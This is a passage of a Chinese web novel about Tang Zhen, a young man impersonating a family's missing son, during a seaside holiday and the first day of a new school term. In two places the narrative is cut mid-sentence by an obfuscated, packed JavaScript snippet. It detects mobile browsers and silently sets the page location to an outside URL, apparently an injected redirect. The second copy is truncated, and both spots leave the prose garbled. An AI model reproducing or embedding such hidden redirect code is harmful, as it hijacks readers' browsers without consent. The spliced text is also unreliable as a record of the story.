“好嘞。”汤振端起餐盘,转过身的那一刻,才极其隐蔽地晃了晃脑袋,长舒一口气。 一个小时后,一家四口围着餐桌,吃得津津有味。 旁边的炭火还在微微发着红光,几缕轻烟悠然地从架子里升腾而起。 餐桌上的汽水不断冒着泡,桌上的蔬菜、水果和烤肉看得人垂涎欲滴。 汤振忍不住打了个嗝,“我感觉我都吃饱了。” 于浩宁头也不回地说道:“废话,你一边烤一边吃,早就饱了吧?” 时间渐渐来到傍晚,天空中点缀着一缕缕橙红。 虽然天色还未暗下去,但庭院里已经自动亮起了温馨的暖色串灯。 于强虽然还不能说出一句完整的话,但相比半年前,能说出口的词语已经多了一些,医生也说恢复的情况还不错,失语和失忆的症状有彻底消失的可能。 许艺岚今晚破例喝了小半杯啤酒,脸上一直挂着红润的笑意。 “嗡——” 汤振放在口袋里的手机突然震动了一下。 拿出手机,点开屏幕,上面是一条来自申雅丽的未读短信。 短信的内容透着一股屏幕挡不住的喜悦: [市级艺术大赛的结果刚才公布了,我得了冠军。今年高考如果我报艺术类专业,可以加分了。也谢谢你之前的鼓励。] 看着屏幕上的字,汤振咀嚼的动作渐渐慢了下来,思绪回到了人声鼎沸的学校礼堂,他一直以为,是自己暗中提示江悦让一手,申雅丽才能拿到市级大赛的入场券,现在看来,当时没有那多此一举,申雅丽大概率也能稳稳夺冠。 “盘子不够用了,你们把这些盘子和碗拿去洗一下再拿来吧。”许艺岚朝汤振说道,将他的思绪一下子拉了回来。 汤振接过盘子和碗,拉着于浩宁进了厨房。 厨房亦十分宽敞,洗碗槽刚好对着一扇窗户,从这里能看到外面的草坪和树林。 碗和盘子在洗碗槽里撞得叮当响,汤振侧过头,凑到于浩宁耳边,将申雅丽发来的短信的大致内容告诉了他。 “那太好了呀,雅丽学姐真是实力不凡!”于浩宁眼神里也透露着欣喜。 汤振隔着厨房的玻璃,看着庭院里摇曳的棕榈树影,语气里透着一种释然:“看来我之前确实小瞧申雅丽了,能在市级大赛这种全凭硬实力的地方拿下冠军,这就说明,就算当初在学校决赛时,班长不让她那一手,她应该也能凭自己的真本事获胜。” 说着,汤振又自嘲地笑了一下,“哎呀,我确实是自作多情了,总以高高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575488|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上的姿态,觉得自己出了个好主意帮了申雅丽。” 于浩宁将洗碗槽的塞子拔掉,又换了一盆清水,安慰道:“没关系的。你当初只是暗示了那么一下下,最后还是班长自己做的选择,她选择了放弃决赛的冠军争夺权,她有自己的想法。至于雅丽学姐,她凭自己的实力走到今天,这件事你三天两头就拿出来内耗自己,现在结果皆大欢喜,你就别老是纠结这件事了。” 汤振点了点头,“也许我不是纠结这件事吧,我是纠结我自己的性格和做事的风格。” 于浩宁抿嘴笑了笑,眼眸中有几分欣慰和得意,“那也不用纠结,我还是更喜欢你我行我素的做事风格呢。” “浩磊,浩宁,你俩在那儿嘀嘀咕咕说什么呢?”许艺岚举起手里的果汁杯,又伸手在甜点上一挥,脸上的笑容比南方的晚风还要温暖。 汤振和于浩宁刚好洗完碗,便朝许艺岚和于强走了过去。 “来,再吃点布丁吧。”许艺岚招呼道。 看着眼前毫无杂质的美好画面,汤振不再犹豫,他拿起手里的玻璃杯,将可乐倒满。 四个杯子碰撞在一起,里面的汽水喷溅出来几滴。 汤振连忙掏起手机,单手对准这四只交汇在暖光下的杯子,“咔嚓”一声,拍下了一张充满烟火气的照片。 打开短信界面,汤振将这张照片发给了申雅丽,并在下面附上了一句真诚的回复: [恭喜你,实至名归!我现在正在含岭市呢,这张照片发给你,就当是我们一家在南方远程给你庆祝夺冠啦!] 发送完,汤振锁上屏幕,将手机揣回了兜里。 此时此刻,汤振只想安安静静地做一回于浩磊,在家人面前尽情地享受一下这似是而非的“彻底融入”。 这晚,一家四口睡得格外深沉。 或许是因为早起旅行的舟车劳顿,或许是因为工作学习高压后的放松,又或许是因为这座南方海滨城市特有的温润。 第二天醒来时,日头高照,又是晴朗的一天。 当汤振睁开眼睛时,明晃晃的阳光已经透过落地窗帘的缝隙洒满了半张床,他拿过手机一看,看了看时间,已是上午10:30。 既然一觉睡到了将近中午,一家人索性放弃了早饭,洗漱完毕后,直接打车来到了含岭市海岸线旁一家享有盛名的高档海景餐厅。 餐厅的外部主体是一个巨型半开放式回廊,几根雕刻着繁复花纹的石柱拔地而起,支撑着中世纪庄园风格的穹顶。 餐厅内部的装潢则透着浓郁的热带气息。天花板上,棕色巨型木质吊扇悠然旋转,高大的宽叶绿植错落有致,穿插在房梁和承重柱之间;阳光透过几扇古典彩色玻璃窗折射进来,在干净的大理石地面上投下斑斓的光点。 许艺岚带领着一家人,在靠近玻璃窗的一处景观位落座。 “真舒服啊。”于浩宁伸了个懒腰,深深吸入一口带着淡淡海盐味的空气。 于强的轮椅正好安置在桌边,他看向窗外起伏的海浪,虽然没有说话,但看得出来精神极好。 “以后咱们每年都争取出来度假。”许艺岚今天换上了一件丝质的浅色披肩,一边笑着,一边用银色的夹子将刚刚端上来的特色烤海鱼分到家人的餐盘里。 许艺岚一边用公筷夹着鱼,一边招呼道:“浩磊,浩宁,多吃点,这家餐厅的招牌菜很难订的。” “谢谢妈。”汤振极其自然地接过餐盘,拿起刀叉切了一小块鱼肉放进嘴里,鱼肉的鲜香伴随着特制的香料在舌尖散开。 看着桌对面正低头细心帮丈夫挑鱼刺的许艺岚,又看了看旁边正大快朵颐的于浩宁,汤振紧绷了一整个学期的神经,在这一刻得到了前所未有的舒展,他甚至觉得,如果能一直这样生活下去,哪怕每天都在扮演另一个人,也是一种的幸福。 忽然—— “砰……哗啦”一声响传来。 尖锐刺耳的瓷器碎裂声,毫无征兆地炸响。 原来服务员来这桌撤下空盘的时候,不小心将叠在一起的两个白瓷盘摔在了地上。 服务员身着西装和马甲,但此时显得一脸慌乱。 “哎哟。”许艺岚下意识地朝后闪躲了一下,似乎也是受到惊吓。 “妈,您没事吧?”汤振和于浩宁几乎同时站起身。 “没事没事,我还以为是什么呢,哈哈。”许艺岚拍了拍胸口,舒了一口气,赶紧缓和着尴尬的氛围。 “怎么回事?” 一道严厉的声音从餐厅另一头传来,那是一位穿着笔挺西装的大堂经理。 大堂经理立刻沉着脸快步走了过来,当他看到满地的瓷器碎片和受惊的客人时,眉头瞬间拧成了一个结。 “你是怎么做事的?”大堂经理毫不留情地冲着那个犯了事儿的服务员训斥,语气中透着一股居高临下的威压:“连个盘子都收不稳!” 服务员脸色一阵发红,“对不起,真的对不起。” 服务员慌乱地朝着大堂经理鞠了一躬,随后立刻转向许艺岚和汤振,“这位女士,实在是对不起,我刚才手滑了,没拿稳。有没有伤到你们?” 汤振看了看服务员,又看向许艺岚。 许艺岚也不计较,连连摆手,“没事,没伤到谁,下次注意就行,一定要注意安全。” 服务员仍是一脸紧张的样子,连忙给许艺岚道了谢。 36. 寒假(下) 服务员手脚麻利地将地上的碎瓷片清理干净,再次向许艺岚一桌人道歉,低眉看向大堂经理。 “行了,别忙活了,去洗洗手吧。”许艺岚并没有丝毫责怪的意思,语气温和,顺手拿过了桌上精致的账单夹。 许艺岚拉开手包,从里面抽出了一张钞票,将钞票夹在结账的单据下面,递到了那个还有些惊魂未定的服务员面前,微笑道:“这是给你的小费,拿去喝杯热茶吧。” 就在钞票被随意递出去的瞬间,坐在对面的汤振眉眼间猛地一闪,他只觉得自己的右手似乎不受控制地抽动了一下,甚至有一股强烈的冲动,想要一把将那张钞票按住,心里想着:怎么能这样把钱随意给出去呢? 但汤振瞬间又反应过来,自己已经是于浩磊了,不用像从前在街头混迹时那样,对每一笔钱都一毛不拔地呵护着。 “谢谢,谢谢女士,您太好心了。” 服务员双手颤抖着接过账单夹,再次道谢,走向了后厨。 汤振看向服务员的背影,心里的冲动被压了下去。 回想起刚才服务员有些惊恐的姿态,汤振内心像被一根针扎了一下,仿佛看到了一面残忍的镜子,镜子里照出的,是自己曾经在街头烂泥潭里苟延残喘的模样。 汤振暗自感叹,自己和那个服务员才是一类人。 “浩磊,想什么呢,”许艺岚温柔的声音将汤振的思绪拉回来,“快吃吧,冰淇淋都快化了。” “没什么,妈……这家餐厅的冷气有点足。”汤振自然而然地将眼底的阴霾敛去,抬起头,脸上重新挂起从容的微笑,挖了一勺椰香口味的冰淇淋。 午饭后的轻松氛围让汤振渐渐缓过神来。 阳光透过彩色玻璃窗,在桌面上缓慢地闪动。 许艺岚端起一杯红茶,轻轻抿了一口,目光在汤振和于浩宁的身上来回打量了一番,像是做出了一个重要的决定一般,开口道:“我最近仔细考虑了一下你们俩未来的升学规划,我现在……又不太想让你俩去考本地的大学了。” 正叼着吸管喝果汁的于浩宁愣了一下,茫然地抬起头,“为什么呀?” “你们在国内读了十几年的书,我希望你们读大学的时候能多去其他地方看一看,”许艺岚双手交叠在桌面上,眼中闪烁着期盼的光芒,“等你们高三毕业后,直接去国外读本科吧。从下学期开始,你俩不仅要在学校里拿高分,雅思成绩也要兼顾,提前把语言关过了,省得以后还要读语言预科。” 空气在陷入了诡异的寂静。 “咳……咳咳。” 汤振刚咽下去的一口冰淇淋险些呛进气管里,惹得他咳嗽连连。 内心刚平复的情绪又一石激起千层浪,汤振现在光是应付高一学业就已经觉得筋疲力尽了,现在再加一门英语雅思考试,还要办签证去国外……且不说学习压力,单是出国要面临的身份审查,恐怕就足以让自己现在的假身份彻底曝光。 汤振感到有些如坐针毡,一时不知如何接话,只能一边用纸巾捂着嘴咳嗽,一边在桌子底下轻轻踢了一脚旁边的于浩宁,趁着许艺岚低头喝茶的间隙,朝于浩宁眨了眨眼。 于浩宁迎着汤振的求救目光,连忙皱着眉头往下看,轻微点头。 见状,汤振深吸一口气,开口道:“妈,您这个提议……挺好的!” 说到一半,汤振抬起头,脸上挤出一个充满上进心的笑容,大声道:“您放心,我和浩宁下学期一定好好学英语,雅思的事情,我们回去就开始准备,尽量不让您操心。” 许艺岚满意地笑了起来,眼角的疲惫似乎也舒展了不少。 “你们能这么想,妈就放心了,”许艺岚叹了口气,目光看向窗外的海岸线,语气里透出了一丝工作的重压:“其实这阵子,公司真的特别忙,除了每天的一大堆杂事以外,最近还在推进一笔数额庞大的海外货物采购项目。” 说到这,许艺岚微微皱了皱眉,“这批货物卡得很死,合同规定了不能退款。为了把这笔单子交接好,我前段时间几乎天天熬夜,好不容易才强行抽出了这一周的空档,带你们出来度假。” 虽然不懂商业上的东西,但听得这么严格的规定,汤振还是忍不住好奇,想要一问究竟。只不过看着许艺岚那张欣喜但透露着疲惫的脸,汤振又咽下了追问的冲动。 “所以啊,”许艺岚转过头,温柔地看向汤振和于浩宁,道:“咱们既然出来了,就把学习和工作都抛到脑后。这几天,妈妈希望你们一定要玩得开心。” 汤振和于浩宁对视了一眼,刚才的恐慌和插科打诨瞬间消散了。 “谢谢妈,您辛苦了。”两人异口同声地说道。 南方城市午后的阳光洒满了整个景观餐厅。 汤振靠在藤椅上,听着餐厅里清脆的刀叉碰撞声。 在虚假身份的掩饰下,汤振只觉得,在这一刻,如同拥有了一种让他近乎贪恋的沉甸甸的安全感。 晚上十一点,带着一整天的疲惫,一家四口回到了住处。 伴随着断断续续的海浪声,将这栋单层别墅包裹在静谧的夜色中。 西侧的浴室里,水汽氤氲。 温热的水流从花洒中倾泻而下,冲击在汤振被海风吹了一天的肌肤上。 热水流淌过汤振的脖颈,顺着肩胛骨滑落。 在常年搏斗和极限逃生中淬炼出来的肌肉结实而分明,水珠沿着清晰的肌理向下蜿蜒,最终没入两条深邃的线条深处。 汤振关掉水龙头,随手扯过一条浴巾,擦去落地镜上的白雾。 镜子里,稍显黝黑的躯体上,却有着许多触目惊心的瑕疵。 左侧肋骨处,有一道三公分的刀疤,尤为显眼,右后肩的位置,烙印着一块暗红色的伤疤。 大大小小的陈年淤痕和长短不一的划伤,是抹不去的污点,永远也无法洗去。 汤振透过还未散去的雾气,安安静静地看着镜子里的身体,呆滞地站在原地,将浴巾裹在身上,将那些瑕疵掩去。 深吸一口带着沐浴露气息的空气,汤振将涌上心头的情绪强压下去,迅速擦干了身体,弯着腰穿上白色裤衩,又随意地套上一件宽松的白色短袖。 从浴室里出来,汤振单手拿着毛巾,擦着还在滴水的碎发,推门走进了卧室。 卧室里只开着一盏昏黄的床头灯,于浩宁正穿着睡衣,无所事事地躺在床上,盯着天花板发呆。 “浩宁,”汤振走到自己的床边坐下,将毛巾随意地搭在脖子上,打破了房间里的安静,随口道:“白天在餐厅里,咱们说起出国留学的事……虽然暂时糊弄过去了,但这件事迟早会露馅。” 于浩宁慢慢从床上坐了起来,点了点头,“以后继续努力嘛。” 汤振抿了抿嘴,“以后……关于以后,你是怎么打算的呀?” 听到这样问,于浩宁没有立刻回答,手指无意识地捏着身下的床单。 “其实,”于浩宁开口道:“我也不知道你的身份到底能瞒多久。汤振,我跟你实话实说吧,一开始求你帮我,我想的是如果有你在的话,我爸或许会更快地想起一切来。我当时满脑子想的都是走一步看一步,还没有打算过以后。” 说到这里,于浩宁稍微停顿了一下,他抬起头,那双和于浩磊有几分相似的眼睛里,闪烁着一种复杂又带着一丝自私的期盼。 于浩宁继续道:“不过……这学期以来,看着我爸妈那么开心,有时候我甚至在想,如果你永远都不暴露,能不能就这样一直,一直隐瞒下去……” 卧室里的空气安静得只有若隐若现的海风声,汤振的眼神里满是思索的神情,他缓缓拉下脖子上搭着的毛巾,握在手上,将其揉成一团。 “我心里也会这样想,”汤振垂下眼眸,看着地板上昏暗的灯影,低声道:“只是我现在觉得,虽然我表面上看着融入得很好,你爸妈也对我很好……但夜深人静的时候,我心里还是有一种格格不入的撕裂感。” 说到这里,汤振的语气中带上了一股深沉的无奈,“难道我真的要这样,一直装下去么?” 汤振抬起头,目光直视着于浩宁,毫不掩饰地继续道:“我承认我有私心,以前在别人眼皮子底下做事,经常提心吊胆的,我心里其实非常希望能像现在这样,一直装下去。但是……我始终还是盼望你哥有一天能平安回来。那样,我就好干干净净地结束我的任务,把一切还给他。” 于浩宁的声音变得很轻,如同易碎的玻璃,“如果真有那么一天,如果我哥真的平安无事地回来,那你呢,又要去哪里?” 汤振短暂迷茫后的眼神迅速恢复了一贯的清澈,他转过头,看向窗外的大海。 窗外的大海漆黑一片,窗户玻璃上清楚倒映着汤振的身影,就像刚才在浴室里那样。 看着窗户上自己的倒影,汤振又想起身上的伤疤,终于开口道:“还是去找我之前联系的那个船员吧,去到一个……没有人认识我的地方。” 房间里陷入了长久的沉默,只有海浪隔着玻璃微弱的冲刷声在两人之间徘徊。 过了良久,于浩宁摇了摇头,“不管你怎么计划,我都尊重你,而且……谢谢你,上学期有你陪着,很好。” 说完,于浩宁躺回了被窝里,将被子拉到下巴,侧身看向墙壁,没有再说什么话。 汤振伸手按灭了床头的台灯,将自己大半个脑袋缩进被子里。 黑暗中,传来于浩宁捂在被子里的声音: “——早点睡吧,哥。” 这几天,一家四口都在含岭市这座海滨城市度过。 无论是惊险刺激的游乐场,还是沐浴阳光的沙滩,亦或是五光十色的城市风景,都给大家留下了深刻的印象。 白天玩得固然开心,但唯一的代价就是身体十分疲惫,每天一回到家,所有人连半句话也不想说。 2月15日,天朗气清。 再过一天,便是回浥鸣县的日子。 今天的凌晨四点,一家人特意起了个大早,因为按计划,今早需要去市里最有名的山上看绝美的海上日出。 于浩宁原本还担心父亲坐着轮椅不方便,但母亲查阅资料后,发现是有缆车一路行至山顶附近的,大家便也不再担心。 清晨五点半。 打车行至含岭市城郊,夜色还未完全褪去,空气中弥漫着一层带着凉意的薄雾。 坐着索道,四人来到了山顶附近。 然而,这里距离最高的观景台还有一步之遥。 只见一道依山而建大约二十米高的陡峭石阶,硬生生地在面前铺开,一路直通山顶的观景台。 许艺岚仰头看上去,抹了一把额头的细汗,“这轮椅肯定上不去了……” “妈,我来!” 汤振毫不犹豫地打断了许艺岚说话,他将背上的双肩包解下来,扔给于浩宁,随后走到轮椅前,干脆利落地转过身,蹲下了身子。 “妈,浩宁,你们把爸扶上来,”汤振拍了拍自己结实的肩膀,语气平静,却透着一股不容置疑的沉稳,“来都来了,一家人当然要一起在最高的地方看日出,我把咱爸背上去!” 坐在轮椅上的于强愣了一下,连连摆手,嘴里含糊不清地嘟囔着,但没办法说出一句完整的话。 虽然于强自从出车祸以来,身形清瘦了不少,但身高总归还是比汤振高出一截,体重也比汤振重20斤左右。 “哥,你行不行啊?这台阶可陡了!”于浩宁在一旁有些担忧地问。 “少废话,搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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汤振的身体猛地僵住,站在一旁的许艺岚愣了两秒,捂住了嘴。 “于强,”许艺岚的声音轻微颤抖,她握起于强的右手,朝汤振问道:“你听到了吗,浩磊?你爸爸刚才连续说了三个字呢,今天,他,他……今天竟然说出来了三个字呢,还是连续的。” 看着激动得语无伦次的许艺岚,汤振静默地站在晨光中,眼底闪过一丝强烈的欣慰,但转念间,内心深处又似乎有一条无形的荆棘,无时无刻不在刺痛着他。 于强费力说出的三个字,或许是对他的高度认可。 但,“他”是于浩磊,还是汤振呢? 一旁的于浩宁不知什么时候也凑了过来,“哥,我爸刚才是在夸你呢,亲口夸的,开心吗?” 汤振把目光从于强身上移开,投向了远处深邃的云海,海风吹干了他额头的汗水,吹走了他内心的防备。 “我……开心,”汤振轻声说道:“我开心的是,爸的身体真的有了好转;我开心的是,我这个儿子演得也确实不错。” 汤振顿了顿,眼底泛起一丝浅浅的失落,继续道:“但我也觉得失落。我失落的是,你爸表扬的应该是他心中的于浩磊。” 于浩宁收起了嬉皮笑脸的表情,他伸出手,握住了汤振的小臂,他那双映着霞光的眼睛里,透着一种前所未有的认真与坚定。 “名字不重要,只是一个代号。刚才把爸背上来的人是你,这学期陪在家里的人是你。哥,我爸表扬的,是你这个人。” 汤振有些欣慰地了一声,对着迎面而来的海风,说道:“浩宁,我承认,你刚找上我那会儿,我答应当你哥,只是想应付了事,想借用你哥的身份而已。但现在,我的心态好像变了。我觉得自己贪恋这里的温度,想融入这个家庭。” 汤振又转头看向于浩宁,问道:“我不知道这是好事还是坏事,你说,我这到底叫敬业,还是叫入戏太深?” 于浩宁释然地笑了笑,松开汤振的手臂,与他并肩站立,共同迎接着破晓的璀璨,他的声音在海风中显得格外清朗而笃定: “既不叫敬业,也不叫入戏太深,我觉得应该叫作……你在寻找自己。” 汤振忍俊不禁,缓缓闭上眼睛,贪婪地吸了一口带着海盐味的空气。 “看,太阳出来了!” “大家快拍照吧。” 一轮鲜艳的红日缓缓升起,周围的雾气瞬间被染成橘色、金色,阳光在云层和海洋中来回交织晕染,好像连雾霭与海水都被这股色彩点燃,如煮沸的岩浆般翻滚起来。 观景台上,游客们的欢呼一声接着一声,将周围也变成了一片热闹的海洋。 从山上下来后,一家人已经筋疲力尽,此时不过才上午10:00而已。 但今日没什么行程安排,大家在海边闲逛了一阵,下午便回别墅收拾行李了,准备第二天的回程。 短暂的寒假之旅,就要结束了。 2月16日,下午。 度假归来,一家人拖着行李,坐上了回浥鸣县的航班。 又经过两个小时的平稳飞行,飞机在浥鸣县简陋的机场跑道上降落。 当汤振跟着人潮走出机场航站楼时,下意识地裹紧了身上的厚外套,准备迎接记忆中的那股严寒。 忽然,汤振意外地发现,吹在脸上的风竟然没那么冷冽了。 在过去的这一个星期里,浥鸣县也不知不觉迎来了气温的回暖。 于浩宁上前两步,拍了拍汤振的肩膀,伸出手,指向远处人行道上的杨树枝条,上面隐隐透出了一丝极其微弱的嫩绿。 “好像没那么冷了啊!”于浩宁感叹道。 “是啊,这个冬天终于要过去了,天气暖和起来啦!”许艺岚笑着回应,又稳稳推着轮椅上的于强,欣赏着周围的景色。 随后,一家人便朝出租车候车厅的方向走去。 汤振仰起头,看着浥鸣县虽依旧有些灰暗但不再压抑的天空。 寒冬即将过去,再过一个多星期,又是高一下学期开学的日子了。 37. 新学期开学 2月25日,早上八点半。 经过漫长的寒假,浥鸣县第二中学校终于迎来了新学期的开学典礼。 随着冷空气的逐渐消退,气温已经有了明显回暖的迹象。 操场四周几棵粗壮的大树已经结出了一些嫩绿的细芽,虽然早上的轻风依然带着几分料峭的微寒,但操场上身穿校服密密麻麻的学生们,却用压抑不住的交头接耳声,将这股属于青春的鲜活与躁动彻底点燃。 “你们作业做完了吗……” “那肯定,昨晚赶了个通宵……” 高一3班的方阵里,同学们交头接耳,一个寒假没见,所有人聊得不亦乐乎。 忽然,主席台上喇叭里传出一声刺耳的锐鸣,压下了全场的嗡嗡声。 “安静!各班保持纪律。” 教导主任威严的声音响彻操场,随后,她将话筒交给了身旁的校长,便站去了主席台一旁的楼梯下。 校长清了清嗓子,为新学期致辞。 充满鼓励的开学致辞让人听了有一股子干劲儿,学生们在台下不住地鼓掌,操场上时不时便爆发出潮水一般的掌声。 然而,校长在结尾处,却突然话锋一转,严厉地提起了另一件事: “在今天的开学典礼结束前,我要通报一件特别恶劣的违纪事件!经学校核实,高一4班的陈蓉萱同学,在上一个学期的贫困补助申请中,存在严重的造假行为。” 操场上,各个班级的方阵里,几乎同时掀起了一阵不可遏制的哗然。 校长沉着脸,抬手敲了敲麦克风,继续通报道: “学校决定,对陈蓉萱同学的错误行为进行全校通报批评,并给予其记过处分!希望全体同学引以为戒,不要让物质上的贪婪腐蚀了你们诚实的品格。” 汤振站在方阵的边缘,双手插在校服口袋里,冷眼听完了校长的这则通报。 然而,就在汤振百无聊赖地将目光随意扫向操场另一边时,他的视线突然被吸引住—— 只见一个身穿黑色夹克的老师,火急火燎地跑进高三2班的队伍,或许是班主任,他径直穿过人群,跑到伍泓面前,急切地说了些话。 汤振定睛看去。 虽隔着大半个操场,但还是能看清伍泓在听完那老师说的话后,就震惊得无以复加。 紧接着,一向注重仪态和规矩的伍泓,竟然连请假的手续都顾不上办,直接跌跌撞撞地冲出方阵,在那老师的陪同下,不顾一切地朝着学校大门的方向狂奔而去。 汤振微微眯起眼睛,看着伍泓略显狼狈的背影消失在校门拐角,心底涌起一股强烈的疑惑。 校长在主席台上宣布道:“好了,这学期的开学典礼到此结束。希望大家再接再厉,希望初三年级和高三年级,都能在中考和高考拿到满意的成绩!” 又一阵掌声在操场响起,初三和高三的班级队伍忍不住开始齐声欢呼。 教导主任走向校长,接过手里的话筒,“大家解散,请班主任带领各班有序回到教室。” 开学典礼正式宣告结束,操场上,各班方阵开始有序朝教学楼涌去。 汤振没有跟着于浩宁一起回去,反而灵巧地横穿过人群,快速冲向了正在解散的高三2班,一眼就锁定了正在往回走的申雅丽。 “申雅丽,”汤振从侧面切入,自然地和她并排走在一起,在喧闹的人声中压低声音问:“你知不知道伍泓怎么了?就刚才,开学典礼快要结束的时候,他怎么突然离开学校,他要去哪儿呀?” 申雅丽转过头,见是汤振,原本有些紧绷的脸色稍微缓和了一些。 拢了拢耳边的碎发,申雅丽的语气里带着一丝同情:“我刚才站得离他不远,听见班主任说,好像是他家里开的那家饭馆,今天早上突然被一群人砸了,现在店里还一片狼藉呢。班主任就让他赶紧回去,查看一下情况。” 汤振脑海中努力想要将这件事和之前的作弊答题卡联系起来,但似乎又找不出什么相关性。 心里这样思索着,汤振同时和申雅丽朝教学楼的方向走去。 路过教学楼一楼前那面巨大的公告栏时,汤振忍不住朝上面的贫困补助发放名单看去。 那上面张贴的还是上学期的贫困补助发放名单,汤振的目光在密密麻麻的名单上扫过,但在看到高三年级那一栏时,他的脚步便轻微地顿了一下。 汤振在名单上找了两遍,也没有找到伍泓的名字。 “申雅丽,”汤振叫住了申雅丽,脚步停在公告栏前,指了指玻璃橱窗里的那张名单,打探道:“这上面没有伍泓的名字,你知不知道伍泓家里的情况怎么样?” “好像有些困难,”申雅丽点了点头,一边想一边说道:“伍泓就住在他家开的饭馆里面,饭馆的位置也很偏,他母亲负责经营,他父亲……好像在工地打工。” 申雅丽说到这里,突然转过头,用一种奇怪的眼神看着汤振。 “伍泓的这些情况,你不是应该很清楚吗,”申雅丽继续道:“咱们读高一的时候,当了整整一年的同学呢。” 汤振心里一惊:百密一疏!光顾着问这问那,又忘了自己身份这茬,看来放了一个寒假,警惕心也跟着放松了。 汤振自然而然地伸手揉了揉太阳穴,脸上适时地浮现出一抹痛苦与迷茫交织的神色。 “哦,这个……不是告诉过你了嘛,我有点失忆的症状,嘿嘿。” 汤振满脸堆笑地回应,继续用一种带着几分自嘲和无奈的语气说道:“我失踪前不久的事情,尤其是高一时候发生的事情,有点记不太清了。” 这个理由,对于汤振而言,堪称完美,总能在一些关键时刻派上用场。 汤振顺势将话题不动声色地拉回了正轨:“既然伍泓的家庭条件完全符合贫困补助的申请要求,那为什么这上面没有他的名字呢?” 申雅丽顺势看向公告栏,缓缓摇头道:“可能是因为……伍泓这个人平时有点爱面子,不想让别人知道这些隐私。我猜还有个原因,可能是因为他每学期都能拿到优秀学生奖学金,所以他不好意思再去申请贫困补助的名额吧。” 汤振看向那张名单,脸色有些不悦,说道:“奖学金是奖学金,贫困补助是贫困补助,这两者根本就不能混为一谈,更何况领取贫困补助怎么会是一件丢人的事情呢?这种想法也太错误了吧。如果连基本的生存和学习资源都无法保障,那这种虚无缥缈的面子也毫无意义。” 申雅丽点了点头,“是,周围的同学也不应该用异样的眼光去嘲笑那些领取补助的人,更何况伍泓家靠自己开饭店,凭自己的劳动吃饭,我觉得是一件很光荣的事情。” 汤振点点头,便和申雅丽继续朝前面走去。 申雅丽低头看了一眼手表,指了指前面的楼梯,急切道:“哎呀,快上课了,那我先从那边上去了,你也快回教室吧。这个时间点,估计伍泓也已经到家了,不知道他家的饭馆情况到底怎么样了。” “只能到时候打听一下了,”汤振又换上温和的笑容,笑道:“对了,我还没当面恭喜你拿了市级比赛第一名呢,恭喜你啊!” 申雅丽笑了笑,回过头朝前面的楼梯口跑了过去。 看着申雅丽远去的背影,汤振脸上的笑容又一点点收敛起来,他转过头,看向那条通往校门口的林荫大道,初春的阳光温柔地洒在水泥地上,一切都是生机盎然的模样。 汤振没再多想,头也不回地踏上了楼梯。 上午九点钟。 老城区内,一条狭窄破败的街道上,伍泓连校服外套的拉链都来不及拉,便满头大汗地冲到了街头那块挂着“伍记快餐”招牌的店铺前。 然而,眼前的景象让伍泓双腿猛地一颤抖。 那块原本就有些发黄的招牌,现在也已经被人用钝器暴力劈成了两截,无力地垂挂在门头上,像是马上要掉落一般。 门口,店铺的门也被拆卸了下来,几根钢筋歪歪扭扭地躺在地上。 另一边,十多个红色塑料板凳和折叠桌被掀翻在地,几盆还没来得及端上桌的卤汤和面条泼洒得到处都是。 周围弥漫着刺鼻的红油味,混杂着洗洁精的气息在空气中发酵,现场可谓是一片狼藉。 一男一女两名警察正站在店外,皱着眉头拍照取证,又询问着周围探头探脑的街坊邻居。 “妈!” 伍泓嗓音发颤地喊了一声,跨过满地的碎渣,在地上找寻着落脚点,终于满头大汗地进了店里。 木质收银台后方,伍泓的母亲正坐在凳子上,双手沾满了灰尘和红油,正试图把一个摔成两半的铁皮箱拼凑起来。 听到伍泓的喊声,母亲抬起布满泪痕的脸。 伍泓走近母亲,母亲却没有像往常一样迎上去,反而用一种陌生和怀疑的目光盯着他。 “你还知道回来,”母亲的声音嘶哑得变了调,指着满地的狼藉,胸口剧烈地起伏着,“伍泓,我平时是怎么教你的?你跟我说实话,你最近是不是在外面惹了什么大祸!” 伍泓的呼吸似乎骤然停滞了一下,往后退了半步,眼神闪烁着回应道:“妈,你胡说什么啊?放寒假前,我一直在学校里上课,放寒假后,我又努力做家教,我能惹什么祸!” “你撒谎,”母亲将手里的半个铁皮箱砸在地上,质问道:“那为什么刚才来打砸的那群人跟我说,这次把店砸了,就当是替你还了欠他们的人情?” 伍泓的脸上失去了血色,双手在校服袖子里攥成了拳头,脸色痛苦地回答道:“我没欠什么人情呀!” “是吗,”母亲向伍泓逼近了半步,眼泪顺着眼角低落下来,嘴里念叨道:“那群人手里拎着钢管,指着我的鼻子骂,说你让他们手底下的十个小弟去帮你处理麻烦,结果害得十个人都被警察一锅端了,还被处罚拘留两个月,到现在人都还没放出来呢。” 伍泓大喘着气,额头上的汗液顺着他的鬓角滚落下来,他咬紧牙关说道:“妈,我真的没有做那样的事!” 伍泓拔高了音量,用一种笃定又愤怒的语气大声反驳:“妈,那群人肯定是认错人了。我一个高中生,上哪去认识十个混混,这简直是无稽之谈!” “你说的都是真的?”母亲狐疑地盯着伍泓,但眼神里依然充满着不确定的神色。 这时,在门外勘察完现场的警察拿着记录本走了进来。 “请二位安静一下,”其中一名警察看着这对母子,有些无奈地说道:“这位阿姨,您这店确实被砸得太彻底了。刚才我们问了一圈,当时在店里吃早饭的顾客全被吓跑了。你再仔细想想,能不能多给警方提供一些具体的线索?比如,那几个人长什么样,身材有什么特征……” 母亲无助的抹着眼泪,泣声道:“我,我真的说不出来啊,警察同志。那三个人一冲进来就开始砸,个个都戴着口罩和墨镜,手里拿着棍子。前后不到三分钟,砸完就骑着摩托跑了,什么长相啊、车牌号啊,我都没看清。” 听到这里,伍泓脸上再度掀起一阵暴躁与烦闷。 